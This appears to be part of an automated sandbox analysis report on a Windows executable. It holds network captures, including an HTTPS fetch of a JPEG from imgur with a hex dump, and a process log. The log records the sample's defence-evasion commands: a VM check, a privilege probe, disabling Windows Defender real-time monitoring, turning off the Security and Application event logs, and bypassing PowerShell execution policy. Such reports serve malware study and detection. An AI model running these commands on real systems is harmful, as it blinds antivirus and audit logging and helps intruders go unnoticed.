                                                                                                                                Jan 12, 2025 18:50:20.443095922 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.443103075 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.443109989 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.443135977 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.455709934 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.455759048 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.455766916 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.496872902 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.496882915 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.529407024 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.529439926 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.529479027 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.529498100 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.529515028 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.529525042 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.529557943 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.529570103 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.529572964 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.530230999 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.530263901 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.530284882 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.530292988 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.530332088 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.530344963 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.530389071 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.530872107 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.530885935 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:52.176639080 CET5239453192.168.2.8162.159.36.2
                                                                                                                                Jan 12, 2025 18:50:52.181461096 CET5352394162.159.36.2192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:52.181535959 CET5239453192.168.2.8162.159.36.2
                                                                                                                                Jan 12, 2025 18:50:52.186431885 CET5352394162.159.36.2192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:52.658704996 CET5239453192.168.2.8162.159.36.2
                                                                                                                                Jan 12, 2025 18:50:52.663695097 CET5352394162.159.36.2192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:52.663752079 CET5239453192.168.2.8162.159.36.2

                                                                                                                                UDP Packets

                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                Jan 12, 2025 18:50:19.695416927 CET6541753192.168.2.81.1.1.1
                                                                                                                                Jan 12, 2025 18:50:19.705315113 CET53654171.1.1.1192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:52.176136017 CET5361376162.159.36.2192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:52.920397043 CET53494911.1.1.1192.168.2.8

                                                                                                                                DNS Queries

                                                                                                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                Jan 12, 2025 18:50:19.695416927 CET192.168.2.81.1.1.10x60c6Standard query (0)i.imgur.comA (IP address)IN (0x0001)false

                                                                                                                                DNS Answers

                                                                                                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                Jan 12, 2025 18:50:19.705315113 CET1.1.1.1192.168.2.80x60c6No error (0)i.imgur.comipv4.imgur.map.fastly.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                Jan 12, 2025 18:50:19.705315113 CET1.1.1.1192.168.2.80x60c6No error (0)ipv4.imgur.map.fastly.net199.232.192.193A (IP address)IN (0x0001)false
                                                                                                                                Jan 12, 2025 18:50:19.705315113 CET1.1.1.1192.168.2.80x60c6No error (0)ipv4.imgur.map.fastly.net199.232.196.193A (IP address)IN (0x0001)false

                                                                                                                                HTTP Request Dependency Graph

                                                                                                                                • i.imgur.com

                                                                                                                                HTTPS Proxied Packets

                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                0192.168.2.849705199.232.192.1934437768C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                2025-01-12 17:50:20 UTC62OUTGET /HCYQoVR.jpeg HTTP/1.1
                                                                                                                                accept: */*
                                                                                                                                host: i.imgur.com
                                                                                                                                2025-01-12 17:50:20 UTC762INHTTP/1.1 200 OK
                                                                                                                                Connection: close
                                                                                                                                Content-Length: 28864
                                                                                                                                Content-Type: image/jpeg
                                                                                                                                Last-Modified: Mon, 30 Dec 2024 19:23:51 GMT
                                                                                                                                ETag: "70f83e99427ac54b92283eaecb69c5df"
                                                                                                                                x-amz-server-side-encryption: AES256
                                                                                                                                X-Amz-Cf-Pop: IAD89-P1
                                                                                                                                X-Amz-Cf-Id: w1veLHWiaEcBL8caleHyCc4jlmIU2__N_q7NNoWzZBqTAalmsqn0vA==
                                                                                                                                cache-control: public, max-age=31536000
                                                                                                                                Accept-Ranges: bytes
                                                                                                                                Date: Sun, 12 Jan 2025 17:50:20 GMT
                                                                                                                                Age: 1068783
                                                                                                                                X-Served-By: cache-iad-kjyo7100042-IAD, cache-ewr-kewr1740073-EWR
                                                                                                                                X-Cache: Miss from cloudfront, HIT, HIT
                                                                                                                                X-Cache-Hits: 85, 1
                                                                                                                                X-Timer: S1736704220.391462,VS0,VE1
                                                                                                                                Strict-Transport-Security: max-age=300
                                                                                                                                Access-Control-Allow-Methods: GET, OPTIONS
                                                                                                                                Access-Control-Allow-Origin: *
                                                                                                                                Server: cat factory 1.0
                                                                                                                                X-Content-Type-Options: nosniff
                                                                                                                                2025-01-12 17:50:20 UTC1371INData Raw: ff d8 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 02 04 02 b8 03 01 22 00 02 11 01 03 11 01 ff c4 00 1d 00 01 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 08 09 06 07 0a 05 04 02 03 ff c4 00 49 10 00 01 03 02 05 03 03 02 03 06 03 06 03 05 09 00 00 02 03 04 05 06 01 07 08 09 12 0a 13 22 11 14 32 23 42 15 21 52 16 31 33 41 62 72 24 43 82 17 34 51 53 61 63 19 25 73 18 44 92 93
                                                                                                                                Data Ascii: CC"I"2#B!R13Abr$C4QSac%sD
                                                                                                                                2025-01-12 17:50:20 UTC1371INData Raw: a2 55 8f 88 1a d4 13 43 74 ed 90 35 3f b4 3d bb 67 dc 3a 97 cd ac b0 ac 2a f7 9d 32 35 12 97 65 56 a7 c9 95 8a 62 b6 da 9e 79 69 97 06 3a 70 6d 3d e6 53 c9 2a 56 3c 9c 4f 89 0b c0 00 00 02 43 ed b5 b6 f6 7c ee 99 a8 c7 34 c7 a7 6a ed b1 4e ae 31 6f ca ad 3f 50 bb a6 c8 8f 09 a8 b1 d4 d3 6a e4 a8 f1 de 73 96 2a 79 b4 a7 c3 ee fb 4f bb 73 ad b0 f3 c3 6a 3c f6 a4 e9 e3 50 57 f5 95 5e af 56 2d 76 6b ed 2e c7 9f 32 4b 11 e2 bb 22 44 74 25 c5 4a 8b 1d 5d cc 55 19 cc 78 a5 2a f1 e3 e5 e4 04 6a 05 89 eb 17 a6 9b 5d 5a 19 d1 8d 63 5c 59 df 9b 19 4c 9b 62 87 06 9e fc da 3d 2a bd 54 76 a9 ca 64 88 f1 da 65 2d aa 9c 96 54 e2 5c 90 8e 5f 57 8a 78 ab c9 5c 7f 3a ec 00 00 00 00 00 01 23 76 d4 db 1b 53 5b a8 e7 a4 ac 86 d3 23 34 36 27 52 e8 8e 55 ab 35 ab a2 6b d1 a9 d4
                                                                                                                                Data Ascii: UCt5?=g:*25eVbyi:pm=S*V<OC|4jN1o?Pjs*yOsj<PW^V-vk.2K"Dt%J]Ux*j]Zc\YLb=*Tvde-T\_Wx\:#vS[#46'RU5k
                                                                                                                                2025-01-12 17:50:20 UTC1371INData Raw: 1c 85 c7 5c 97 54 a7 1f e2 b7 b9 27 b9 8a 94 9e e7 1e 5c 78 a5 3c e6 6e 63 4c b6 e8 7b 8e 67 fd 0a cd 8c cc 7a 3c 3c ec ba d8 a4 b1 1b 0f 46 9b 8a 8a c4 a4 b4 94 7f 4e 09 c1 3e 80 62 1a 61 d3 bd fd ab 4d 43 d9 3a 67 ca e5 42 45 c1 7d dc 90 e8 b4 a7 aa 4e ad 11 a3 b9 21 c4 b7 de 7d 4d a5 6a 4b 2d f2 c5 6b 52 52 a5 71 4a b8 a5 58 f8 93 e3 39 3a 4e f7 44 ca 5c c6 b1 72 ae 9b 54 cb 4b c2 ab 7d 4c 94 dc 7f d9 4b 82 76 2d 52 22 c6 4b 4a 7e 74 e7 25 c1 8e 96 63 a3 bc d2 7d 53 dc 71 4a 71 29 4b 6a 52 92 93 cc e9 42 c8 c7 b3 8b 79 5b 32 e5 71 cf 48 f9 79 6d 56 6e 69 6d e2 9f 5e e6 18 46 f6 0d e1 ff 00 4e 2f 4f 65 5f e9 2c 53 aa ff 00 79 8d 45 e9 32 ef b4 f4 29 a4 6c c6 a9 d9 75 9a d5 b5 fb 41 7b dd b4 45 a9 8a 82 22 bc f3 8c c4 87 16 4a 55 ce 32 95 8c 77 dc 71 4d
                                                                                                                                Data Ascii: \T'\x<ncL{gz<<FN>baMC:gBE}N!}MjK-kRRqJX9:ND\rTK}LKv-R"KJ~t%c}SqJq)KjRBy[2qHymVnim^FN/Oe_,SyE2)luA{E"JU2wqM
                                                                                                                                2025-01-12 17:50:20 UTC1371INData Raw: 6a 90 69 c8 b3 99 b8 5f 7e b6 d4 a9 29 52 d2 ca 90 98 be db 15 25 2d b8 a5 60 99 0a e2 96 d5 f2 f4 3a 3f cc 9c ef a1 ec 9f b2 4d 12 f7 bb 29 0d d5 a6 65 26 52 d1 28 b1 29 98 f2 69 35 4a d7 b6 8f 0d a6 d5 c5 3c 92 87 25 2f 93 8a f9 25 3d c5 7f 23 99 0d 7f ef 65 b8 0e e6 76 13 79 55 aa dc c9 a4 54 ed a8 77 62 6e 1a 3d 16 95 6d 45 82 dd 3a 4a 63 bd 1d 2d b6 b6 93 dc 71 b4 b6 fb bf c6 5b 8a f2 f9 01 11 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0e 9c 76 09 d6 ae df 1a 01 d9 46 83 1f 30 f5 8d 93 b4 cb e9 e8 55 db b6 e0 b4 55 98 b4 b4 d5 1c 94 b7 9e c6 34 75 c5 ef 25 e5 4a 54 56 22 37 db e3 dc e5 c5 1f a4 e6 38 01 64 fd
                                                                                                                                Data Ascii: ji_~)R%-`:?M)e&R()i5J<%/%=#evyUTwbn=mE:Jc-q[vF0UU4u%JTV"78d
                                                                                                                                2025-01-12 17:50:20 UTC1371INData Raw: 4e b0 ab 7b 2f 5e af 52 e8 a8 a6 23 17 1c 5d 0e d3 6a 67 27 11 8a 98 4a 9c 71 ce db d2 5f 57 6d 2a 57 71 e5 76 f0 f8 a4 b7 bc dc db 47 a4 cb 55 d9 87 1f 51 94 7d 74 d8 56 0c 79 cf fb fa 8d a5 69 e7 55 22 8d 06 72 95 c5 6a 4b 90 66 a5 52 22 27 d3 fc b8 fe df 8f 25 78 a5 5f 10 9b fb 19 e4 9e dd b9 23 a6 ab 92 df db 42 35 52 af 64 33 79 3b 06 7e 63 d6 a4 f7 df bc 2a 11 d9 6d 2f 4a 6d de db 69 76 3b 6a 57 65 2b 69 b6 d9 52 9b 77 b6 9f de a5 51 66 50 6f 41 6f e9 c3 a8 df 32 37 02 bc 5d c2 ab 60 dc d7 95 6a da ad c9 a2 a3 17 dc 5d b7 dc 4c 58 52 98 f2 fa 8a 42 61 c0 79 5f bf 9a 5b 5a 52 9f 24 f1 9d 1b 99 75 04 6d fb a0 cd 11 bd b7 f6 cf 95 5a 55 56 b6 dd 09 da 0d 22 ad 69 a1 c5 d1 ad 58 af 60 ae f4 a6 e5 ab fd f6 62 bb 8b 52 54 da 9c 4f 79 6a 71 c7 31 52 78 39
                                                                                                                                Data Ascii: N{/^R#]jg'Jq_Wm*WqvGUQ}tVyiU"rjKfR"'%x_#B5Rd3y;~c*m/Jmiv;jWe+iRwQfPoAo27]`j]LXRBay_[ZR$umZUV"iX`bRTOyjq1Rx9
                                                                                                                                2025-01-12 17:50:20 UTC1371INData Raw: ae 5d bf 2f 15 25 5a 1f 79 7d 20 e9 df 41 1b 86 5e ba 43 d3 45 c1 75 d5 a8 36 5b 34 f6 24 54 af 2a 84 59 32 9e 9a f4 36 65 3b e8 a8 cc 32 df 6d 3d f4 b7 c7 b7 cb 93 6a 02 2a 03 d6 b3 2d 4b 8a fd bb 29 76 3d a1 4a 5c ea ad 6a a2 cc 0a 5c 26 d4 9c 15 22 43 ce 25 b6 db 4f 2f cb 92 94 a4 a7 ff 00 d4 ba 2d ed fa 73 f6 f1 da df 6f 4a 96 a5 ec 8c ee cd 29 f7 c2 ab 74 aa 35 bb 02 e6 b8 29 6b a7 4d 99 21 dc 14 fa 7b 4c d3 59 79 7e 91 5a 96 e2 52 97 30 c5 3d be 58 f2 c1 2a 4a 82 91 c0 00 00 00 01 b7 b4 1b a6 99 3a c9 d6 8e 57 69 71 9c 26 60 cd ef 7b d3 e9 55 47 e9 ee b6 db f1 e0 b9 21 3e ee 43 6a 71 2a 4f 26 e3 f7 9c f2 4a bf 87 f1 57 c4 b1 0e a2 2d 8f 34 17 b4 56 46 65 fd d1 90 19 b5 99 55 7b c6 f6 bb 1f 88 9a 5d ef 5d a6 c8 63 1a 64 58 aa 54 97 9b 6e 3c 18 ee 77
                                                                                                                                Data Ascii: ]/%Zy} A^CEu6[4$T*Y26e;2m=j*-K)v=J\j\&"C%O/-soJ)t5)kM!{LYy~ZR0=X*J:Wiq&`{UG!>Cjq*O&JW-4VFeU{]]cdXTn<w
                                                                                                                                2025-01-12 17:50:20 UTC1371INData Raw: 2e 1b b2 24 c9 75 2d 47 8e c3 78 ad c7 16 ac 70 4a 52 94 e1 f2 56 38 ff 00 20 3b 49 db 53 49 ba 1d db 0f 42 df b3 da 66 ce 56 2a 59 59 8b b3 2f 09 f9 91 71 dc d0 1f 62 63 2e b6 95 39 50 7a 7c 66 d9 8a a6 51 1d 86 d3 dd e2 94 a5 a6 53 c9 5e 3c 8a 67 b8 36 49 da ff 00 56 db ba 58 1a 7a d2 9e bc ee ec d4 a4 5d 96 dd cb 7d 67 75 e7 44 cc 4a 15 5e 64 37 12 e2 53 17 db 49 83 07 db b3 21 c9 8f 72 71 0e 25 c5 76 d4 95 27 06 fd 53 8a ac 3b 7c 39 8c ed f9 d3 a7 5e c8 eb 19 d6 a2 2e 15 81 6e 65 dd 31 0f 2b 97 26 56 a8 b0 e4 a7 d7 d7 c9 4a 86 89 3e 5f ab cb 1e 5f 99 05 ba 22 72 2a 2c fc cb cf 6d 4b d4 68 e9 c5 da 55 0e 93 6c 52 2a 38 e3 f9 f1 94 f3 d2 a5 b6 9c 3f fd a4 25 2b fb 93 fd 40 46 4e a8 2d 32 5b 3a 32 d4 3e 59 e9 d6 91 ac 5c f9 cd 99 c8 b2 5d ad cd 56 76 66
                                                                                                                                Data Ascii: .$u-GxpJRV8 ;ISIBfV*YY/qbc.9Pz|fQS^<g6IVXz]}guDJ^d7SI!rq%v'S;|9^.ne1+&VJ>__"r*,mKhUlR*8?%+@FN-2[:2>Y\]Vvf
                                                                                                                                2025-01-12 17:50:20 UTC1371INData Raw: 61 ac 70 6d aa b5 d7 5b a7 fd fe 4a 6a 1c 27 3f a5 3e 35 04 ff 00 d7 fd 25 03 16 49 d5 6b 9e 92 73 9b 79 7b de db 4b 7f e1 32 f2 dd a3 db 10 1c e5 8e 3c d2 98 b8 4e 7b 1f 4c 70 f1 f4 91 3d f4 ff 00 a7 97 dc 56 d8 16 91 b2 c7 4d 4e 68 ee 5b 97 ec ea 87 3f b3 12 46 5c e5 1b b2 1d 45 2e 44 38 69 76 ab 70 25 95 29 2e b9 1b b9 f4 e3 47 4a 92 a4 fb 87 12 e7 aa 9b 52 52 da b0 f2 27 2c 6e 91 cd a7 75 0b 97 d7 0a 34 59 b8 6d e1 5c b8 68 92 9c a6 cc aa 35 74 d0 ae 1a 7d 36 a6 94 f9 47 96 c4 08 ac b8 da d3 f7 36 a7 92 a4 e0 a2 7f ee 31 52 d1 46 85 f6 95 7e c5 d4 5e 4c de 97 4e 46 db f6 ed 22 d7 ac db 99 65 50 5c 69 4a a6 f2 66 3b 3c 9e 6a 6c 37 3d ba 94 96 d0 e7 17 b0 ee 25 dc 52 a4 a9 2a 52 4a b2 b3 3a 92 b4 8d a5 ac 8d b9 72 bb 64 3d a6 eb b4 67 9b a5 c8 ab dc 15
                                                                                                                                Data Ascii: apm[Jj'?>5%Iksy{K2<N{Lp=VMNh[?F\E.D8ivp%).GJRR',nu4Ym\h5t}6G61RF~^LNF"eP\iJf;<jl7=%R*RJ:rd=g
                                                                                                                                2025-01-12 17:50:20 UTC1371INData Raw: bf 61 1d 31 d6 f7 53 cd cd 00 ee 27 a9 e8 b4 69 59 65 2a 9a c5 9d 4b a1 dc b4 fa 54 eb e2 44 ce 33 22 e2 c3 13 52 f3 8f 36 a8 3e 8e 3d 1d 94 a9 c6 d5 21 b4 f7 3c 7c a4 bf 44 fe 99 73 56 8a f6 70 6a d6 bd 42 99 06 d0 ad 40 81 6e db f2 de 47 16 aa d2 9a 79 c7 a4 a9 bf 5f 92 59 fa 48 e5 87 8f 27 54 9f 92 55 c7 dc d3 f5 46 d3 d7 77 59 05 eb 99 36 cd 4a 3d 42 89 92 d6 dc bf 6c f4 54 7a a1 e7 a0 53 a3 d1 df c1 cc 71 f9 76 ea 13 de e2 a4 f1 fe 0b 7f 2f b8 2c 93 78 8c 9f d0 1e a4 b4 cd 0f 4b ba fe d6 2d 3f 27 2d 8b 92 b2 cc d8 72 5c bf a8 f4 09 15 65 41 52 55 8b 2d ae a8 db 8d ba db 6a 75 97 16 96 d3 c9 2a ed f9 27 d7 cb 9f 5d bb 3a 79 6e 2d cf 75 37 99 93 32 1b 34 5f b7 b4 ed 64 66 1d 46 8d 46 cc 7a c6 0d d4 66 d7 22 b3 25 58 30 98 b8 32 96 59 90 f2 a3 f6 5c 71
                                                                                                                                Data Ascii: a1S'iYe*KTD3"R6>=!<|DsVpjB@nGy_YH'TUFwY6J=BlTzSqv/,xK-?'-r\eARU-ju*']:yn-u724_dfFFzf"%X02Y\q
                                                                                                                                2025-01-12 17:50:20 UTC1371INData Raw: c9 c8 df 97 15 7d 4a 11 3a 0d e8 86 c8 d9 b1 ed 8c f8 d4 b5 42 0b 58 b1 36 7d 1a d9 a4 c8 f4 f3 4a 99 44 89 52 d3 fd b8 f7 e1 7f f0 ff 00 d0 09 31 d4 a1 92 1b 60 ea 3f 29 26 d6 f5 7f ad e5 5b 17 f6 4f 58 75 ca d5 8d 95 54 5c cc a2 d3 a6 d6 a6 48 8e 97 18 4a e0 cb 65 e9 0f 29 e7 22 32 d3 6a 6f 8f 8a 95 c4 83 f9 f9 d3 4d a1 8d 32 ec bf 27 70 2c e5 cd 7c d5 a5 e6 35 3f 27 29 f5 e9 b4 47 2b f4 b4 d2 d9 b8 a6 47 65 2c c1 52 30 a7 a9 cc 59 f7 92 5b 67 8e 0f 72 57 af f1 3e e2 21 ee 9d 54 8d b8 7f 51 6d d9 96 88 ac 49 f6 37 46 79 52 72 f1 87 b9 62 af 6e 88 f2 22 d1 56 a6 bf e0 9e e3 4e 38 9e 3f 2e 5c be e2 e2 fa c2 f3 8f fd 95 6d 39 4c ca 4a 2c 54 60 9b f3 32 69 54 97 9a 4e 3c 70 66 1c 56 64 4e f5 4f e5 fc 9d 89 19 3c 7f e0 a5 7e 90 2a 97 a7 4f 64 ac 8a dd ee b3
                                                                                                                                Data Ascii: }J:BX6}JDR1`?)&[OXuT\HJe)"2joM2'p,|5?')G+Ge,R0Y[grW>!TQmI7FyRrbn"VN8?.\m9LJ,T`2iTN<pfVdNO<~*Od


                                                                                                                                Statistics

                                                                                                                                CPU Usage

                                                                                                                                Click to jump to process

                                                                                                                                Memory Usage

                                                                                                                                Click to jump to process

                                                                                                                                High Level Behavior Distribution

                                                                                                                                Click to dive into process behavior distribution

                                                                                                                                Behavior

                                                                                                                                Click to jump to process

                                                                                                                                System Behavior

                                                                                                                                General

                                                                                                                                Target ID:0
                                                                                                                                Start time:12:50:08
                                                                                                                                Start date:12/01/2025
                                                                                                                                Path:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                Wow64 process (32bit):false
                                                                                                                                Commandline:"C:\Users\user\Desktop\rZU3xTxOnl.exe"
                                                                                                                                Imagebase:0x7ff7b1360000
                                                                                                                                File size:5'472'768 bytes
                                                                                                                                MD5 hash:039F85A7670428430274476CBE733DB4
                                                                                                                                Has elevated privileges:true
                                                                                                                                Has administrator privileges:true
                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                Reputation:low
                                                                                                                                Has exited:true

                                                                                                                                General

                                                                                                                                Target ID:1
                                                                                                                                Start time:12:50:08
                                                                                                                                Start date:12/01/2025
                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                Wow64 process (32bit):false
                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                Imagebase:0x7ff6ee680000
                                                                                                                                File size:862'208 bytes
                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                Has elevated privileges:true
                                                                                                                                Has administrator privileges:true
                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                Reputation:high
                                                                                                                                Has exited:true

                                                                                                                                General

                                                                                                                                Target ID:3
                                                                                                                                Start time:12:50:08
                                                                                                                                Start date:12/01/2025
                                                                                                                                Path:C:\Windows\System32\net.exe
                                                                                                                                Wow64 process (32bit):false
                                                                                                                                Commandline:"net" session
                                                                                                                                Imagebase:0x7ff7c0390000
                                                                                                                                File size:59'904 bytes
                                                                                                                                MD5 hash:0BD94A338EEA5A4E1F2830AE326E6D19
                                                                                                                                Has elevated privileges:true
                                                                                                                                Has administrator privileges:true
                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                Reputation:high
                                                                                                                                Has exited:true

                                                                                                                                General

                                                                                                                                Target ID:4
                                                                                                                                Start time:12:50:08
                                                                                                                                Start date:12/01/2025
                                                                                                                                Path:C:\Windows\System32\net1.exe
                                                                                                                                Wow64 process (32bit):false
                                                                                                                                Commandline:C:\Windows\system32\net1 session
                                                                                                                                Imagebase:0x7ff652830000
                                                                                                                                File size:183'808 bytes
                                                                                                                                MD5 hash:55693DF2BB3CBE2899DFDDF18B4EB8C9
                                                                                                                                Has elevated privileges:true
                                                                                                                                Has administrator privileges:true
                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                Reputation:moderate
                                                                                                                                Has exited:true

                                                                                                                                General

                                                                                                                                Target ID:5
                                                                                                                                Start time:12:50:08
                                                                                                                                Start date:12/01/2025
                                                                                                                                Path:C:\Windows\System32\tasklist.exe
                                                                                                                                Wow64 process (32bit):false
                                                                                                                                Commandline:"tasklist" /fi "IMAGENAME eq vmware"
                                                                                                                                Imagebase:0x7ff7bdc50000
                                                                                                                                File size:106'496 bytes
                                                                                                                                MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                                                                                                                Has elevated privileges:true
                                                                                                                                Has administrator privileges:true
                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                Reputation:moderate
                                                                                                                                Has exited:true

                                                                                                                                General

                                                                                                                                Target ID:6
                                                                                                                                Start time:12:50:09
                                                                                                                                Start date:12/01/2025
                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                Wow64 process (32bit):false
                                                                                                                                Commandline:"powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
                                                                                                                                Imagebase:0x7ff6cb6b0000
                                                                                                                                File size:452'608 bytes
                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                Has elevated privileges:true
                                                                                                                                Has administrator privileges:true
                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                Reputation:high
                                                                                                                                Has exited:true

                                                                                                                                General

                                                                                                                                Target ID:7
                                                                                                                                Start time:12:50:09
                                                                                                                                Start date:12/01/2025
                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                Wow64 process (32bit):false
                                                                                                                                Commandline:"powershell" -Command "wevtutil sl Security /e:false"
                                                                                                                                Imagebase:0x7ff6cb6b0000
                                                                                                                                File size:452'608 bytes
                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                Has elevated privileges:true
                                                                                                                                Has administrator privileges:true
                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                Reputation:high
                                                                                                                                Has exited:true

                                                                                                                                General

                                                                                                                                Target ID:8
                                                                                                                                Start time:12:50:09
                                                                                                                                Start date:12/01/2025
                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                Wow64 process (32bit):false
                                                                                                                                Commandline:"powershell" -Command "wevtutil sl Application /e:false"
                                                                                                                                Imagebase:0x7ff6cb6b0000
                                                                                                                                File size:452'608 bytes
                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                Has elevated privileges:true
                                                                                                                                Has administrator privileges:true
                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                Reputation:high
                                                                                                                                Has exited:true

                                                                                                                                General

                                                                                                                                Target ID:9
                                                                                                                                Start time:12:50:09
                                                                                                                                Start date:12/01/2025
                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                Wow64 process (32bit):false
                                                                                                                                Commandline:"powershell" -Command "Set-ExecutionPolicy Bypass -Scope Process -Force"
                                                                                                                                Imagebase:0x7ff6cb6b0000
                                                                                                                                File size:452'608 bytes
                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                Has elevated privileges:true
                                                                                                                                Has administrator privileges:true
                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                Reputation:high
                                                                                                                                Has exited:true

                                                                                                                                General

                                                                                                                                Target ID:10
                                                                                                                                Start time:12:50:11
                                                                                                                                Start date:12/01/2025
                                                                                                                                Path:C:\Windows\System32\wevtutil.exe
                                                                                                                                Wow64 process (32bit):false
                                                                                                                                Commandline:"C:\Windows\system32\wevtutil.exe" sl Application /e:false
                                                                                                                                Imagebase:0x7ff6f41f0000
                                                                                                                                File size:278'016 bytes
                                                                                                                                MD5 hash:1AAE26BD68B911D0420626A27070EB8D
                                                                                                                                Has elevated privileges:true
                                                                                                                                Has administrator privileges:true
                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                Reputation:moderate
                                                                                                                                Has exited:true

                                                                                                                                General

                                                                                                                                Target ID:11
                                                                                                                                Start time:12:50:11
                                                                                                                                Start date:12/01/2025
                                                                                                                                Path:C:\Windows\System32\wevtutil.exe
                                                                                                                                Wow64 process (32bit):false
                                                                                                                                Commandline:"C:\Windows\system32\wevtutil.exe" sl Security /e:false
                                                                                                                                Imagebase:0x7ff6f41f0000
                                                                                                                                File size:278'016 bytes
                                                                                                                                MD5 hash:1AAE26BD68B911D0420626A27070EB8D
                                                                                                                                Has elevated privileges:true
                                                                                                                                Has administrator privileges:true
                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                Has exited:true

                                                                                                                                General

                                                                                                                                Target ID:12
                                                                                                                                Start time:12:50:15
                                                                                                                                Start date:12/01/2025
                                                                                                                                Path:C:\Windows\System32\wbem\WmiPrvSE.exe
                                                                                                                                Wow64 process (32bit):false
                                                                                                                                Commandline:C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                Imagebase:0x7ff605670000
                                                                                                                                File size:496'640 bytes
                                                                                                                                MD5 hash:60FF40CFD7FB8FE41EE4FE9AE5FE1C51
                                                                                                                                Has elevated privileges:true
                                                                                                                                Has administrator privileges:false
                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                Has exited:false

